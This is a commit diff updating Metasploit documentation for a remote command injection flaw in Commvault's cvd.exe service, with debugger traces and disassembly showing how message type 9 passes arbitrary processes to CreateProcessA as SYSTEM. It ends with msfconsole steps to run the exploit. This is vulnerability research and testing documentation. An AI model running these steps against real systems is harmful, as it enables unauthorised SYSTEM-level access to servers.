Land #9389, Update commvault_cmd_exec module documentation
parent
23619431aa
commit
b8fc2c0213
|
@ -1,21 +1,208 @@
|
|||
# Commvault Communications Service execCmd Vulnerability
|
||||
|
||||
## Introduction
|
||||
|
||||
Commvault is a data protection and information management software; an enterprise-level data
|
||||
platform that contains modules to back up, restore, archive, replicate, and search data.
|
||||
|
||||
According to public documentation, the data is protected by installing agent software on the
|
||||
physical or virtual hosts, which use the OS or application native APIs to protect data in a
|
||||
consistent state. Production data is processed by the agent on client computers and backed
|
||||
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
|
||||
management activity in the environment is tracked by a centralized server (called CommServe),
|
||||
and can be managed by administrators through a central user interface. End users can access
|
||||
protected data using web browsers or mobile devices.
|
||||
|
||||
One of the base services of Commvault is vulnerable to a remote command injection attack,
|
||||
specifically the cvd service.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Commvault v11 SP5 or prior are vulnerable to this vulnerability. The specific vulnerable
|
||||
version I tested was 11.0.80.0.
|
||||
|
||||
This module exploits a remote command injection vulnerability in the Commvault Communications service (cvd.exe). Exploitation of this vulnerability can allow for remote command execution as SYSTEM.
|
||||
The version of the vulnerable DLL is:
|
||||
|
||||
```
|
||||
Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll
|
||||
Image name: CVDataPipe.dll
|
||||
Timestamp: Wed Dec 21 11:59:21 2016 (585AC2F9)
|
||||
CheckSum: 002ED404
|
||||
ImageSize: 002F0000
|
||||
File version: 11.80.50.60437
|
||||
Product version: 11.0.0.0
|
||||
File flags: 1 (Mask 3F) Debug
|
||||
File OS: 40004 NT Win32
|
||||
File type: 1.0 App
|
||||
File date: 00000000.00000000
|
||||
Translations: 0409.04b0
|
||||
CompanyName: Commvault
|
||||
ProductName: Commvault
|
||||
InternalName: CVDataPipe
|
||||
OriginalFilename: CVDataPipe.dll
|
||||
ProductVersion: 11.0.0.0
|
||||
FileVersion: 11.80.50.60437
|
||||
PrivateBuild:
|
||||
SpecialBuild:
|
||||
FileDescription:
|
||||
LegalCopyright: Copyright (c) 2000-2016
|
||||
LegalTrademarks:
|
||||
Comments:
|
||||
```
|
||||
|
||||
## Root Cause Analysis
|
||||
|
||||
Usually, there are two ways to execute a command in a C/C++ application, one of them is ```WinExec()```,
|
||||
and the other one is ```CreateProcess()```:
|
||||
|
||||
```
|
||||
BOOL WINAPI CreateProcess(
|
||||
_In_opt_ LPCTSTR lpApplicationName,
|
||||
_Inout_opt_ LPTSTR lpCommandLine,
|
||||
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
_In_ BOOL bInheritHandles,
|
||||
_In_ DWORD dwCreationFlags,
|
||||
_In_opt_ LPVOID lpEnvironment,
|
||||
_In_opt_ LPCTSTR lpCurrentDirectory,
|
||||
_In_ LPSTARTUPINFO lpStartupInfo,
|
||||
_Out_ LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
|
||||
```
|
||||
|
||||
Since ```CreateProcess()``` is meant to replace ```WinExec()``` according to Microsoft, we can create a
|
||||
breakpoint there first in our debugger (WinDBG), and we hit it:
|
||||
|
||||
```
|
||||
0:044> g
|
||||
Breakpoint 3 hit
|
||||
kernel32!CreateProcessA:
|
||||
00000000`76fe8730 4c8bdc mov r11,rsp
|
||||
```
|
||||
|
||||
Looking at the callstack of this ```kernel32!CreateProcessA```, we already have a pretty good idea
|
||||
locating the vulnerability:
|
||||
|
||||
```
|
||||
0:044> k
|
||||
Child-SP RetAddr Call Site
|
||||
00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA
|
||||
00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af
|
||||
00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e
|
||||
00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9
|
||||
00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd
|
||||
00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51
|
||||
00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63
|
||||
00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
|
||||
00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
|
||||
00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd
|
||||
00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
|
||||
```
|
||||
|
||||
There are two things that are interesting. One of them is ```CVDataPipe!CVDMessageHandler```, and the
|
||||
other one is ```CVDataPipe!execCmd```.
|
||||
|
||||
```CVDataPipe!CVDMessageHandler``` is basically a function that handles our packet's message type.
|
||||
The Metasploit exploit specifically sends a code of ```9h```, which is the message type for ```execCmd```:
|
||||
|
||||
```
|
||||
.text:0000000180147103 loc_180147103: ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j
|
||||
.text:0000000180147103 lea rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9
|
||||
.text:000000018014710B mov [rsp+888h+var_600], rax
|
||||
.text:0000000180147113 mov rdx, [rsp+888h+sock]
|
||||
.text:000000018014711B mov rcx, [rsp+888h+var_600]
|
||||
.text:0000000180147123 call cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &)
|
||||
.text:0000000180147129 mov [rsp+888h+var_5F0], rax
|
||||
.text:0000000180147131 mov r8, [rsp+888h+arg_18]
|
||||
.text:0000000180147139 mov rdx, [rsp+888h+var_5F0]
|
||||
.text:0000000180147141 mov rcx, [rsp+888h+structSelect]
|
||||
.text:0000000180147149 call ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)
|
||||
```
|
||||
|
||||
If we take a closer look at the ```execCmd``` function, we can tell the purpose of it is for processes such as:
|
||||
|
||||
* ifind (For restoring purposes)
|
||||
* BackupShadow.exe (For archiving)
|
||||
* Pub (Map file)
|
||||
* createIndex (A Commvault process for building index)
|
||||
|
||||
|
||||
Additional information can be found [here](https://www.securifera.com/advisories/sec-2017-0001/)
|
||||
```
|
||||
.text:0000000180159F1B loc_180159F1B: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j
|
||||
.text:0000000180159F1B ; DATA XREF: .rdata:0000000180286258o
|
||||
.text:0000000180159F1B lea rdx, aIfind ; "ifind"
|
||||
.text:0000000180159F22 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F2A call cs:strstr
|
||||
.text:0000000180159F30 test rax, rax
|
||||
.text:0000000180159F33 jnz short loc_180159F6D
|
||||
.text:0000000180159F35 lea rdx, aBackupshadow_e ; "BackupShadow.exe"
|
||||
.text:0000000180159F3C lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F44 call cs:strstr
|
||||
.text:0000000180159F4A test rax, rax
|
||||
.text:0000000180159F4D jnz short loc_180159F6D
|
||||
.text:0000000180159F4F lea rdx, aPub ; "Pub"
|
||||
.text:0000000180159F56 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F5E call cs:strstr
|
||||
...
|
||||
.text:000000018015A0BA loc_18015A0BA: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j
|
||||
.text:000000018015A0BA lea rdx, aCreateindex ; "createIndex"
|
||||
.text:000000018015A0C1 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:000000018015A0C9 call cs:strstr
|
||||
.text:000000018015A0CF test rax, rax
|
||||
.text:000000018015A0D2 jz loc_18015A220
|
||||
```
|
||||
|
||||
However, if you don't call one of these processes, the ```execCmd``` will assume you want to run your
|
||||
custom process, and pass it to ```CreateProcess``` anyway:
|
||||
|
||||
```
|
||||
.text:000000018015A361 loc_18015A361: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j
|
||||
.text:000000018015A361 call cs:GetEnvironmentStrings
|
||||
.text:000000018015A367 mov [rsp+87B8h+var_86A8], rax
|
||||
.text:000000018015A36F lea rax, [rsp+87B8h+StartupInfo]
|
||||
.text:000000018015A377 mov rdi, rax
|
||||
.text:000000018015A37A xor eax, eax
|
||||
.text:000000018015A37C mov ecx, 68h
|
||||
.text:000000018015A381 rep stosb
|
||||
.text:000000018015A383 mov [rsp+87B8h+StartupInfo.cb], 68h
|
||||
.text:000000018015A38E lea rax, [rsp+87B8h+ProcessInformation]
|
||||
.text:000000018015A396 mov rdi, rax
|
||||
.text:000000018015A399 xor eax, eax
|
||||
.text:000000018015A39B mov ecx, 18h
|
||||
.text:000000018015A3A0 rep stosb
|
||||
.text:000000018015A3A2 mov [rsp+87B8h+StartupInfo.dwFlags], 1
|
||||
.text:000000018015A3AD xor eax, eax
|
||||
.text:000000018015A3AF mov [rsp+87B8h+StartupInfo.wShowWindow], ax
|
||||
.text:000000018015A3B7 lea rax, [rsp+87B8h+ProcessInformation]
|
||||
.text:000000018015A3BF mov [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation
|
||||
.text:000000018015A3C4 lea rax, [rsp+87B8h+StartupInfo]
|
||||
.text:000000018015A3CC mov [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo
|
||||
.text:000000018015A3D1 mov [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory
|
||||
.text:000000018015A3DA mov [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment
|
||||
.text:000000018015A3E3 mov [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags
|
||||
.text:000000018015A3EB mov [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles
|
||||
.text:000000018015A3F3 xor r9d, r9d ; lpThreadAttributes
|
||||
.text:000000018015A3F6 xor r8d, r8d ; lpProcessAttributes
|
||||
.text:000000018015A3F9 lea rdx, [rsp+87B8h+CommandLine] ; lpCommandLine
|
||||
.text:000000018015A401 lea rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName
|
||||
.text:000000018015A409 call cs:CreateProcessA
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
|
||||
anyway considering the cvd process binds to 0.0.0.0, so anybody can gain access to it under the
|
||||
context of SYSTEM.
|
||||
|
||||
## Using the Metasploit Module
|
||||
|
||||
1. Start msfconsole
|
||||
|
||||
2. `use exploit/windows/misc/commvault_cmd_exec`
|
||||
|
||||
3. `set RHOST [ip]`
|
||||
|
||||
4. `exploit`
|
||||
|
||||
5. shellz :)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* https://en.wikipedia.org/wiki/Commvault
|
||||
* https://www.securifera.com/advisories/sec-2017-0001/
|
Loading…
Reference in New Issue